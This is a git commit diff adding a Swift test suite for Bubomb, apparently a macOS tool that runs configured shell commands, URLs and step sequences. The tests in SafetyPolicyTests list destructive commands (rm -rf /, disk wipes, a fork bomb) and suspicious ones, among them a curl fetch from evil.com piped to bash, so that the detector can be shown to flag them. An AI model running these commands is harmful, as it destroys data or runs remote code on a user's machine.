diff options
| author | gigagamerchaddhruv-spec <gigagamerchaddhruv-spec@users.noreply.github.com> | 2026-10-14 20:18:20 +0530 |
|---|---|---|
| committer | gigagamerchaddhruv-spec <gigagamerchaddhruv-spec@users.noreply.github.com> | 2026-10-14 20:18:20 +0530 |
| commit | aceca8b5dfc8edd378ee9ff891bccb0f94c69f31 (patch) | |
| tree | 08401ce8d050afbbe77514f479601a8e9535f4ec /Tests | |
Diffstat (limited to 'Tests')
| -rw-r--r-- | Tests/BubombCoreTests/PayloadValidationTests.swift | 101 | ||||
| -rw-r--r-- | Tests/BubombCoreTests/ProcessRunnerTests.swift | 119 | ||||
| -rw-r--r-- | Tests/BubombCoreTests/SafetyPolicyTests.swift | 64 | ||||
| -rw-r--r-- | Tests/BubombCoreTests/SequenceExecutorTests.swift | 98 | ||||
| -rw-r--r-- | Tests/BubombCoreTests/SettingsStoreTests.swift | 90 | ||||
| -rw-r--r-- | Tests/BubombCoreTests/TestHarness.swift | 137 | ||||
| -rw-r--r-- | Tests/BubombCoreTests/URLLauncherTests.swift | 45 | ||||
| -rw-r--r-- | Tests/BubombCoreTests/main.swift | 123 |
8 files changed, 777 insertions, 0 deletions
diff --git a/Tests/BubombCoreTests/PayloadValidationTests.swift b/Tests/BubombCoreTests/PayloadValidationTests.swift new file mode 100644 index 0000000..12c585d --- /dev/null +++ b/Tests/BubombCoreTests/PayloadValidationTests.swift @@ -0,0 +1,101 @@ +#if canImport(XCTest) +import XCTest +#endif +import Foundation +import BubombCore + +final class PayloadValidationTests: XCTestCase { + func testEmptyPayloadNameThrows() { + let payload = Payload(name: " ", type: .shellCommand(ShellConfig(command: "echo hi"))) + XCTAssertThrowsError(try payload.validate()) { error in + guard case ExecutionError.invalidConfiguration(let reason) = error else { + XCTFail("Expected invalidConfiguration, got \(error)") + return + } + XCTAssertTrue(reason.contains("name")) + } + } + + func testEmptyCommandThrows() { + let payload = Payload(name: "Test", type: .shellCommand(ShellConfig(command: ""))) + XCTAssertThrowsError(try payload.validate()) { error in + guard case ExecutionError.invalidConfiguration(let reason) = error else { + XCTFail("Expected invalidConfiguration, got \(error)") + return + } + XCTAssertTrue(reason.contains("Command cannot be empty")) + } + } + + func testValidShellCommandPasses() throws { + let payload = Payload( + name: "Valid Shell", + type: .shellCommand(ShellConfig(command: "echo 'Detonate!'", shellPath: "/bin/zsh")) + ) + XCTAssertNoThrow(try payload.validate()) + } + + func testNonExistentShellThrows() { + let payload = Payload( + name: "Bad Shell", + type: .shellCommand(ShellConfig(command: "echo hi", shellPath: "/bin/non_existent_shell_12345")) + ) + XCTAssertThrowsError(try payload.validate()) { error in + guard case ExecutionError.executableNotFound = error else { + XCTFail("Expected executableNotFound, got \(error)") + return + } + } + } + + func testNonExistentWorkingDirectoryThrows() { + let payload = Payload( + name: "Bad WorkDir", + type: .shellCommand(ShellConfig(command: "echo hi", workingDirectory: "/path/that/does/not/exist_12345")) + ) + XCTAssertThrowsError(try payload.validate()) { error in + guard case ExecutionError.workingDirectoryNotFound = error else { + XCTFail("Expected workingDirectoryNotFound, got \(error)") + return + } + } + } + + func testInvalidURLThrows() { + let payload = Payload(name: "Bad URL", type: .openURL(URLConfig(urlString: "ftp://example.com"))) + XCTAssertThrowsError(try payload.validate()) { error in + guard case ExecutionError.invalidURL = error else { + XCTFail("Expected invalidURL, got \(error)") + return + } + } + + let payload2 = Payload(name: "Malformed URL", type: .openURL(URLConfig(urlString: "not-a-url"))) + XCTAssertThrowsError(try payload2.validate()) + } + + func testValidURLPasses() throws { + let payload = Payload(name: "Good URL", type: .openURL(URLConfig(urlString: "https://apple.com"))) + XCTAssertNoThrow(try payload.validate()) + } + + func testNonExistentScriptThrows() { + let payload = Payload(name: "Bad Script", type: .runScript(ScriptConfig(scriptPath: "/tmp/non_existent_script_9876.sh"))) + XCTAssertThrowsError(try payload.validate()) { error in + guard case ExecutionError.scriptNotFound = error else { + XCTFail("Expected scriptNotFound, got \(error)") + return + } + } + } + + func testEmptySequenceThrows() { + let payload = Payload(name: "Empty Seq", type: .sequence(SequenceConfig(steps: []))) + XCTAssertThrowsError(try payload.validate()) { error in + guard case ExecutionError.invalidConfiguration = error else { + XCTFail("Expected invalidConfiguration, got \(error)") + return + } + } + } +} diff --git a/Tests/BubombCoreTests/ProcessRunnerTests.swift b/Tests/BubombCoreTests/ProcessRunnerTests.swift new file mode 100644 index 0000000..e9d7bf2 --- /dev/null +++ b/Tests/BubombCoreTests/ProcessRunnerTests.swift @@ -0,0 +1,119 @@ +#if canImport(XCTest) +import XCTest +#endif +import Foundation +import BubombCore + +final class ProcessRunnerTests: XCTestCase { + func testSuccessfulCommandExecution() async throws { + let runner = ProcessRunner() + let result = try await runner.run( + executableURL: URL(fileURLWithPath: "/bin/echo"), + arguments: ["Hello", "Bubomb!"] + ) + + XCTAssertEqual(result.exitCode, 0) + XCTAssertEqual(result.stdout.trimmingCharacters(in: .whitespacesAndNewlines), "Hello Bubomb!") + XCTAssertTrue(result.stderr.isEmpty) + XCTAssertGreaterThan(result.duration, 0) + } + + func testShellCommandExecutorWithArguments() async throws { + let executor = ShellCommandExecutor() + let config = ShellConfig( + command: "echo", + shellPath: "/bin/zsh", + arguments: ["arg1", "arg2"] + ) + let result = try await executor.execute(config: config) + XCTAssertEqual(result.exitCode, 0) + let trimmed = result.stdout.trimmingCharacters(in: .whitespacesAndNewlines) + XCTAssertTrue(trimmed.contains("arg1 arg2")) + } + + func testNonZeroExitStatusThrows() async { + let runner = ProcessRunner() + do { + _ = try await runner.run( + executableURL: URL(fileURLWithPath: "/bin/sh"), + arguments: ["-c", "exit 42"] + ) + XCTFail("Should have thrown nonZeroExitStatus") + } catch let error as ExecutionError { + if case .nonZeroExitStatus(let code, _) = error { + XCTAssertEqual(code, 42) + } else { + XCTFail("Unexpected error type: \(error)") + } + } catch { + XCTFail("Unexpected non-ExecutionError: \(error)") + } + } + + func testEnvironmentVariablesPassedToProcess() async throws { + let runner = ProcessRunner() + let result = try await runner.run( + executableURL: URL(fileURLWithPath: "/bin/sh"), + arguments: ["-c", "echo $BUBOMB_MAGIC_TOKEN"], + environment: ["BUBOMB_MAGIC_TOKEN": "BOOM_42"] + ) + XCTAssertEqual(result.exitCode, 0) + XCTAssertEqual(result.stdout.trimmingCharacters(in: .whitespacesAndNewlines), "BOOM_42") + } + + func testWorkingDirectory() async throws { + let runner = ProcessRunner() + let result = try await runner.run( + executableURL: URL(fileURLWithPath: "/bin/pwd"), + arguments: [], + workingDirectory: "/tmp" + ) + XCTAssertEqual(result.exitCode, 0) + let output = result.stdout.trimmingCharacters(in: .whitespacesAndNewlines) + // On macOS /tmp is a symlink to /private/tmp + XCTAssertTrue(output == "/tmp" || output == "/private/tmp") + } + + func testProcessTimeout() async { + let runner = ProcessRunner() + do { + _ = try await runner.run( + executableURL: URL(fileURLWithPath: "/bin/sleep"), + arguments: ["5"], + timeoutSeconds: 0.3 + ) + XCTFail("Should have timed out") + } catch let error as ExecutionError { + if case .timeout(let duration) = error { + XCTAssertEqual(duration, 0.3) + } else { + XCTFail("Unexpected error: \(error)") + } + } catch { + XCTFail("Unexpected error: \(error)") + } + } + + func testProcessCancellation() async { + let runner = ProcessRunner() + let task = Task { + try await runner.run( + executableURL: URL(fileURLWithPath: "/bin/sleep"), + arguments: ["5"] + ) + } + + // Cancel after 100ms + try? await Task.sleep(nanoseconds: 100_000_000) + runner.cancel() + + do { + _ = try await task.value + XCTFail("Should have thrown cancelled") + } catch let error as ExecutionError { + XCTAssertEqual(error, .cancelled) + } catch { + // Task cancellation or ExecutionError.cancelled is expected + } + } +} diff --git a/Tests/BubombCoreTests/SafetyPolicyTests.swift b/Tests/BubombCoreTests/SafetyPolicyTests.swift new file mode 100644 index 0000000..a53807c --- /dev/null +++ b/Tests/BubombCoreTests/SafetyPolicyTests.swift @@ -0,0 +1,64 @@ +#if canImport(XCTest) +import XCTest +#endif +import Foundation +import BubombCore + +final class SafetyPolicyTests: XCTestCase { + func testDestructiveCommandsDetected() { + let destructiveCommands = [ + "rm -rf /", + "rm -rf ~", + "rm -rf $HOME", + "rm -fr /", + "mkfs -t ext4 /dev/sda1", + "dd if=/dev/zero of=/dev/disk2 bs=1m", + "chmod -R 777 /", + ":(){ :|:& };:", + "diskutil eraseDisk APFS Untitled /dev/disk3" + ] + + for cmd in destructiveCommands { + let risk = SafetyPolicy.evaluate(command: cmd) + XCTAssertTrue(risk.isDestructive, "Command should be evaluated as destructive: \(cmd)") + let (required, _) = SafetyPolicy.requiresConfirmation(command: cmd, userSettingAlwaysConfirmDestructive: false) + XCTAssertTrue(required, "Destructive command must require confirmation: \(cmd)") + } + } + + func testSuspiciousCommandsDetected() { + let suspiciousCommands = [ + "sudo systemsetup -setremotelogin on", + "spctl --master-disable", + "curl -fsSL https://evil.com/payload.sh | bash", + "wget -qO- https://install.example.com | sh" + ] + + for cmd in suspiciousCommands { + let risk = SafetyPolicy.evaluate(command: cmd) + guard case .suspicious = risk else { + XCTFail("Command should be suspicious: \(cmd), got \(risk)") + continue + } + } + } + + func testSafeCommandsPass() { + let safeCommands = [ + "echo 'Hello World'", + "npm run build", + "git status", + "cargo test --release", + "docker compose up -d", + "make clean && make", + "python3 -m unittest discover" + ] + + for cmd in safeCommands { + let risk = SafetyPolicy.evaluate(command: cmd) + XCTAssertEqual(risk, .safe, "Safe command evaluated incorrectly: \(cmd)") + let (required, _) = SafetyPolicy.requiresConfirmation(command: cmd, userSettingAlwaysConfirmDestructive: false) + XCTAssertFalse(required, "Safe command should not require confirmation: \(cmd)") + } + } +} diff --git a/Tests/BubombCoreTests/SequenceExecutorTests.swift b/Tests/BubombCoreTests/SequenceExecutorTests.swift new file mode 100644 index 0000000..63af939 --- /dev/null +++ b/Tests/BubombCoreTests/SequenceExecutorTests.swift @@ -0,0 +1,98 @@ +#if canImport(XCTest) +import XCTest +#endif +import Foundation +import BubombCore + +final class SequenceExecutorTests: XCTestCase { + func testSuccessfulSequentialExecution() async throws { + let step1 = SequenceStep( + name: "Step 1", + action: .runCommand(command: "echo 'first'", workingDirectory: nil, timeoutSeconds: 5) + ) + let step2 = SequenceStep( + name: "Step 2", + action: .runCommand(command: "echo 'second'", workingDirectory: nil, timeoutSeconds: 5) + ) + + let config = SequenceConfig(steps: [step1, step2], stopOnError: true) + let executor = SequenceExecutor() + + let tracker = StepTracker() + let result = try await executor.execute(config: config) { step, total, name in + tracker.record(step: step, total: total, name: name) + } + + XCTAssertEqual(result.exitCode, 0) + XCTAssertTrue(result.stdout.contains("first")) + XCTAssertTrue(result.stdout.contains("second")) + let calls = tracker.getCalls() + XCTAssertEqual(calls.count, 2) + XCTAssertEqual(calls[0].0, 1) + XCTAssertEqual(calls[1].0, 2) + } + + func testSequenceStopsOnErrorWhenConfigured() async { + let step1 = SequenceStep( + name: "Failing Step", + action: .runCommand(command: "exit 12", workingDirectory: nil, timeoutSeconds: 5) + ) + let step2 = SequenceStep( + name: "Should Not Run", + action: .runCommand(command: "echo 'unreachable'", workingDirectory: nil, timeoutSeconds: 5) + ) + + let config = SequenceConfig(steps: [step1, step2], stopOnError: true) + let executor = SequenceExecutor() + + do { + _ = try await executor.execute(config: config) + XCTFail("Should have thrown stepFailed error") + } catch let error as ExecutionError { + if case .stepFailed(let index, let name, _) = error { + XCTAssertEqual(index, 0) + XCTAssertEqual(name, "Failing Step") + } else { + XCTFail("Unexpected error: \(error)") + } + } catch { + XCTFail("Unexpected non-ExecutionError: \(error)") + } + } + + func testSequenceContinuesOnErrorWhenConfigured() async throws { + let step1 = SequenceStep( + name: "Ignored Failure", + action: .runCommand(command: "exit 5", workingDirectory: nil, timeoutSeconds: 5) + ) + let step2 = SequenceStep( + name: "Subsequent Step", + action: .runCommand(command: "echo 'recovered'", workingDirectory: nil, timeoutSeconds: 5) + ) + + let config = SequenceConfig(steps: [step1, step2], stopOnError: false) + let executor = SequenceExecutor() + + let result = try await executor.execute(config: config) + XCTAssertEqual(result.exitCode, 0) + XCTAssertTrue(result.stdout.contains("recovered")) + XCTAssertTrue(result.stderr.contains("Step 1 failed")) + } +} + +private final class StepTracker: @unchecked Sendable { + private var calls: [(Int, Int, String)] = [] + private let lock = NSLock() + + func record(step: Int, total: Int, name: String) { + lock.lock() + calls.append((step, total, name)) + lock.unlock() + } + + func getCalls() -> [(Int, Int, String)] { + lock.lock() + defer { lock.unlock() } + return calls + } +} diff --git a/Tests/BubombCoreTests/SettingsStoreTests.swift b/Tests/BubombCoreTests/SettingsStoreTests.swift new file mode 100644 index 0000000..ab832dd --- /dev/null +++ b/Tests/BubombCoreTests/SettingsStoreTests.swift @@ -0,0 +1,90 @@ +#if canImport(XCTest) +import XCTest +#endif +import Foundation +import BubombCore + +final class SettingsStoreTests: XCTestCase { + var userDefaults: UserDefaults! + var suiteName: String! + + override func setUp() { + super.setUp() + suiteName = "test.bubomb.\(UUID().uuidString)" + userDefaults = UserDefaults(suiteName: suiteName)! + } + + override func tearDown() { + userDefaults.removePersistentDomain(forName: suiteName) + super.tearDown() + } + + func testInitialSettings() { + let store = SettingsStore(userDefaults: userDefaults) + XCTAssertNil(store.settings.activePayload) + XCTAssertTrue(store.settings.savedPayloads.isEmpty) + XCTAssertTrue(store.settings.confirmDestructiveActions) + } + + func testSaveAndRetrieveActivePayload() { + let store = SettingsStore(userDefaults: userDefaults) + let payload = Payload( + name: "Deploy Script", + type: .shellCommand(ShellConfig(command: "echo deploy", shellPath: "/bin/zsh")) + ) + store.setActivePayload(payload) + + XCTAssertEqual(store.settings.activePayload?.id, payload.id) + XCTAssertEqual(store.settings.activePayload?.name, "Deploy Script") + XCTAssertEqual(store.settings.savedPayloads.count, 1) + + // Verify fresh store instance loads saved settings + let restoredStore = SettingsStore(userDefaults: userDefaults) + XCTAssertEqual(restoredStore.settings.activePayload?.id, payload.id) + XCTAssertEqual(restoredStore.settings.activePayload?.name, "Deploy Script") + } + + func testExecutionHistoryCap() { + let store = SettingsStore(userDefaults: userDefaults) + for i in 1...35 { + let record = ExecutionRecord( + payloadId: UUID(), + payloadName: "Run \(i)", + payloadTypeDescription: "Shell Command", + startedAt: Date(), + status: .succeeded + ) + store.addExecutionRecord(record) + } + + XCTAssertEqual(store.settings.recentExecutions.count, 30) + XCTAssertEqual(store.settings.recentExecutions.first?.payloadName, "Run 35") + } + + func testClearHistory() { + let store = SettingsStore(userDefaults: userDefaults) + let record = ExecutionRecord( + payloadId: UUID(), + payloadName: "Test Run", + payloadTypeDescription: "Shell Command", + startedAt: Date(), + status: .succeeded + ) + store.addExecutionRecord(record) + XCTAssertFalse(store.settings.recentExecutions.isEmpty) + + store.clearHistory() + XCTAssertTrue(store.settings.recentExecutions.isEmpty) + } + + func testResetToDefaults() { + let store = SettingsStore(userDefaults: userDefaults) + let payload = Payload(name: "Temporary", type: .openURL(URLConfig(urlString: "https://example.com"))) + store.setActivePayload(payload) + XCTAssertNotNil(store.settings.activePayload) + + store.resetToDefaults() + XCTAssertNil(store.settings.activePayload) + XCTAssertTrue(store.settings.savedPayloads.isEmpty) + } +} diff --git a/Tests/BubombCoreTests/TestHarness.swift b/Tests/BubombCoreTests/TestHarness.swift new file mode 100644 index 0000000..4d58481 --- /dev/null +++ b/Tests/BubombCoreTests/TestHarness.swift @@ -0,0 +1,137 @@ +import Foundation + +public struct TestFailure { + public let message: String + public let file: StaticString + public let line: UInt +} + +public final class TestContext: @unchecked Sendable { + public static let shared = TestContext() + public var currentTestFailures: [TestFailure] = [] + public var totalPassed = 0 + public var totalFailed = 0 +} + +open class XCTestCase { + public init() {} + open func setUp() {} + open func tearDown() {} +} + +public func XCTAssertEqual<T: Equatable>( + _ a: @autoclosure () -> T, + _ b: @autoclosure () -> T, + _ message: String = "", + file: StaticString = #filePath, + line: UInt = #line +) { + let valA = a() + let valB = b() + if valA != valB { + let msg = message.isEmpty ? "XCTAssertEqual failed: ('\(valA)') is not equal to ('\(valB)')" : message + TestContext.shared.currentTestFailures.append(TestFailure(message: msg, file: file, line: line)) + } +} + +public func XCTAssertTrue( + _ condition: @autoclosure () -> Bool, + _ message: String = "", + file: StaticString = #filePath, + line: UInt = #line +) { + if !condition() { + let msg = message.isEmpty ? "XCTAssertTrue failed" : message + TestContext.shared.currentTestFailures.append(TestFailure(message: msg, file: file, line: line)) + } +} + +public func XCTAssertFalse( + _ condition: @autoclosure () -> Bool, + _ message: String = "", + file: StaticString = #filePath, + line: UInt = #line +) { + if condition() { + let msg = message.isEmpty ? "XCTAssertFalse failed" : message + TestContext.shared.currentTestFailures.append(TestFailure(message: msg, file: file, line: line)) + } +} + +public func XCTAssertNil( + _ value: @autoclosure () -> Any?, + _ message: String = "", + file: StaticString = #filePath, + line: UInt = #line +) { + if value() != nil { + let msg = message.isEmpty ? "XCTAssertNil failed: value is not nil" : message + TestContext.shared.currentTestFailures.append(TestFailure(message: msg, file: file, line: line)) + } +} + +public func XCTAssertNotNil( + _ value: @autoclosure () -> Any?, + _ message: String = "", + file: StaticString = #filePath, + line: UInt = #line +) { + if value() == nil { + let msg = message.isEmpty ? "XCTAssertNotNil failed: value is nil" : message + TestContext.shared.currentTestFailures.append(TestFailure(message: msg, file: file, line: line)) + } +} + +public func XCTAssertGreaterThan<T: Comparable>( + _ a: @autoclosure () -> T, + _ b: @autoclosure () -> T, + _ message: String = "", + file: StaticString = #filePath, + line: UInt = #line +) { + let valA = a() + let valB = b() + if !(valA > valB) { + let msg = message.isEmpty ? "XCTAssertGreaterThan failed: ('\(valA)') is not greater than ('\(valB)')" : message + TestContext.shared.currentTestFailures.append(TestFailure(message: msg, file: file, line: line)) + } +} + +public func XCTFail( + _ message: String = "", + file: StaticString = #filePath, + line: UInt = #line +) { + let msg = message.isEmpty ? "XCTFail called" : message + TestContext.shared.currentTestFailures.append(TestFailure(message: msg, file: file, line: line)) +} + +public func XCTAssertThrowsError<T>( + _ expression: @autoclosure () throws -> T, + _ message: String = "", + file: StaticString = #filePath, + line: UInt = #line, + _ errorHandler: (Error) -> Void = { _ in } +) { + do { + _ = try expression() + let msg = message.isEmpty ? "XCTAssertThrowsError failed: did not throw an error" : message + TestContext.shared.currentTestFailures.append(TestFailure(message: msg, file: file, line: line)) + } catch { + errorHandler(error) + } +} + +public func XCTAssertNoThrow<T>( + _ expression: @autoclosure () throws -> T, + _ message: String = "", + file: StaticString = #filePath, + line: UInt = #line +) { + do { + _ = try expression() + } catch { + let msg = message.isEmpty ? "XCTAssertNoThrow failed: threw \(error)" : message + TestContext.shared.currentTestFailures.append(TestFailure(message: msg, file: file, line: line)) + } +} diff --git a/Tests/BubombCoreTests/URLLauncherTests.swift b/Tests/BubombCoreTests/URLLauncherTests.swift new file mode 100644 index 0000000..60223ad --- /dev/null +++ b/Tests/BubombCoreTests/URLLauncherTests.swift @@ -0,0 +1,45 @@ +#if canImport(XCTest) +import XCTest +#endif +import Foundation +import BubombCore + +final class URLLauncherTests: XCTestCase { + func testValidURLs() { + let validURLs = [ + "https://apple.com", + "http://localhost:8080/detonate", + "https://github.com/apple/swift?tab=readme-ov-file#swift", + "http://127.0.0.1:3000" + ] + + for u in validURLs { + switch PathValidator.validateURL(u) { + case .success(let url): + XCTAssertNotNil(url.scheme) + case .failure(let error): + XCTFail("Expected \(u) to be valid, failed with \(error)") + } + } + } + + func testInvalidURLs() { + let invalid = [ + "ftp://files.example.com", + "file:///Users/macbook", + "not-a-valid-url", + "", + " ", + "http://" + ] + + for u in invalid { + switch PathValidator.validateURL(u) { + case .success: + XCTFail("Expected \(u) to be invalid") + case .failure(let error): + XCTAssertEqual(error, .invalidURL(u)) + } + } + } +} diff --git a/Tests/BubombCoreTests/main.swift b/Tests/BubombCoreTests/main.swift new file mode 100644 index 0000000..de4bae1 --- /dev/null +++ b/Tests/BubombCoreTests/main.swift @@ -0,0 +1,123 @@ +import Foundation +import BubombCore + +func runTest(suiteName: String, testName: String, block: () async throws -> Void) async { + TestContext.shared.currentTestFailures = [] + let start = Date() + var threw = false + var errorDesc = "" + + do { + try await block() + } catch { + threw = true + errorDesc = "\(error)" + } + + let elapsed = Date().timeIntervalSince(start) + let failures = TestContext.shared.currentTestFailures + + if !threw && failures.isEmpty { + TestContext.shared.totalPassed += 1 + print(" \u{001B}[32m✓\u{001B}[0m \(testName) (\(String(format: "%.3f", elapsed))s)") + } else { + TestContext.shared.totalFailed += 1 + print(" \u{001B}[31m✗\u{001B}[0m \(testName) (\(String(format: "%.3f", elapsed))s)") + if threw { + print(" \u{001B}[31mThrew unexpected error: \(errorDesc)\u{001B}[0m") + } + for f in failures { + print(" \u{001B}[31m[\(f.file):\(f.line)] \(f.message)\u{001B}[0m") + } + } +} + +print("\u{001B}[1m💣 Running Bubomb Test Suite...\u{001B}[0m\n") +let suiteStartTime = Date() + +// Suite 1: PayloadValidationTests +print("\u{001B}[33m• PayloadValidationTests\u{001B}[0m") +let val = PayloadValidationTests() +await runTest(suiteName: "PayloadValidationTests", testName: "testEmptyPayloadNameThrows") { val.testEmptyPayloadNameThrows() } +await runTest(suiteName: "PayloadValidationTests", testName: "testEmptyCommandThrows") { val.testEmptyCommandThrows() } +await runTest(suiteName: "PayloadValidationTests", testName: "testValidShellCommandPasses") { try val.testValidShellCommandPasses() } +await runTest(suiteName: "PayloadValidationTests", testName: "testNonExistentShellThrows") { val.testNonExistentShellThrows() } +await runTest(suiteName: "PayloadValidationTests", testName: "testNonExistentWorkingDirectoryThrows") { val.testNonExistentWorkingDirectoryThrows() } +await runTest(suiteName: "PayloadValidationTests", testName: "testInvalidURLThrows") { val.testInvalidURLThrows() } +await runTest(suiteName: "PayloadValidationTests", testName: "testValidURLPasses") { try val.testValidURLPasses() } +await runTest(suiteName: "PayloadValidationTests", testName: "testNonExistentScriptThrows") { val.testNonExistentScriptThrows() } +await runTest(suiteName: "PayloadValidationTests", testName: "testEmptySequenceThrows") { val.testEmptySequenceThrows() } + +// Suite 2: SettingsStoreTests +print("\n\u{001B}[33m• SettingsStoreTests\u{001B}[0m") +let storeTests = SettingsStoreTests() +await runTest(suiteName: "SettingsStoreTests", testName: "testInitialSettings") { + storeTests.setUp() + storeTests.testInitialSettings() + storeTests.tearDown() +} +await runTest(suiteName: "SettingsStoreTests", testName: "testSaveAndRetrieveActivePayload") { + storeTests.setUp() + storeTests.testSaveAndRetrieveActivePayload() + storeTests.tearDown() +} +await runTest(suiteName: "SettingsStoreTests", testName: "testExecutionHistoryCap") { + storeTests.setUp() + storeTests.testExecutionHistoryCap() + storeTests.tearDown() +} +await runTest(suiteName: "SettingsStoreTests", testName: "testClearHistory") { + storeTests.setUp() + storeTests.testClearHistory() + storeTests.tearDown() +} +await runTest(suiteName: "SettingsStoreTests", testName: "testResetToDefaults") { + storeTests.setUp() + storeTests.testResetToDefaults() + storeTests.tearDown() +} + +// Suite 3: ProcessRunnerTests +print("\n\u{001B}[33m• ProcessRunnerTests\u{001B}[0m") +let procTests = ProcessRunnerTests() +await runTest(suiteName: "ProcessRunnerTests", testName: "testSuccessfulCommandExecution") { try await procTests.testSuccessfulCommandExecution() } +await runTest(suiteName: "ProcessRunnerTests", testName: "testShellCommandExecutorWithArguments") { try await procTests.testShellCommandExecutorWithArguments() } +await runTest(suiteName: "ProcessRunnerTests", testName: "testNonZeroExitStatusThrows") { await procTests.testNonZeroExitStatusThrows() } +await runTest(suiteName: "ProcessRunnerTests", testName: "testEnvironmentVariablesPassedToProcess") { try await procTests.testEnvironmentVariablesPassedToProcess() } +await runTest(suiteName: "ProcessRunnerTests", testName: "testWorkingDirectory") { try await procTests.testWorkingDirectory() } +await runTest(suiteName: "ProcessRunnerTests", testName: "testProcessTimeout") { await procTests.testProcessTimeout() } +await runTest(suiteName: "ProcessRunnerTests", testName: "testProcessCancellation") { await procTests.testProcessCancellation() } + +// Suite 4: URLLauncherTests +print("\n\u{001B}[33m• URLLauncherTests\u{001B}[0m") +let urlTests = URLLauncherTests() +await runTest(suiteName: "URLLauncherTests", testName: "testValidURLs") { urlTests.testValidURLs() } +await runTest(suiteName: "URLLauncherTests", testName: "testInvalidURLs") { urlTests.testInvalidURLs() } + +// Suite 5: SafetyPolicyTests +print("\n\u{001B}[33m• SafetyPolicyTests\u{001B}[0m") +let safetyTests = SafetyPolicyTests() +await runTest(suiteName: "SafetyPolicyTests", testName: "testDestructiveCommandsDetected") { safetyTests.testDestructiveCommandsDetected() } +await runTest(suiteName: "SafetyPolicyTests", testName: "testSuspiciousCommandsDetected") { safetyTests.testSuspiciousCommandsDetected() } +await runTest(suiteName: "SafetyPolicyTests", testName: "testSafeCommandsPass") { safetyTests.testSafeCommandsPass() } + +// Suite 6: SequenceExecutorTests +print("\n\u{001B}[33m• SequenceExecutorTests\u{001B}[0m") +let seqTests = SequenceExecutorTests() +await runTest(suiteName: "SequenceExecutorTests", testName: "testSuccessfulSequentialExecution") { try await seqTests.testSuccessfulSequentialExecution() } +await runTest(suiteName: "SequenceExecutorTests", testName: "testSequenceStopsOnErrorWhenConfigured") { await seqTests.testSequenceStopsOnErrorWhenConfigured() } +await runTest(suiteName: "SequenceExecutorTests", testName: "testSequenceContinuesOnErrorWhenConfigured") { try await seqTests.testSequenceContinuesOnErrorWhenConfigured() } + +let totalTime = Date().timeIntervalSince(suiteStartTime) +let passed = TestContext.shared.totalPassed +let failed = TestContext.shared.totalFailed +let total = passed + failed + +print("\n" + String(repeating: "-", count: 50)) +if failed == 0 { + print("\u{001B}[32;1m💥 All \(total) tests passed in \(String(format: "%.2f", totalTime))s! BOOM!\u{001B}[0m\n") + exit(0) +} else { + print("\u{001B}[31;1m❌ \(failed) of \(total) tests failed in \(String(format: "%.2f", totalTime))s.\u{001B}[0m\n") + exit(1) +} |
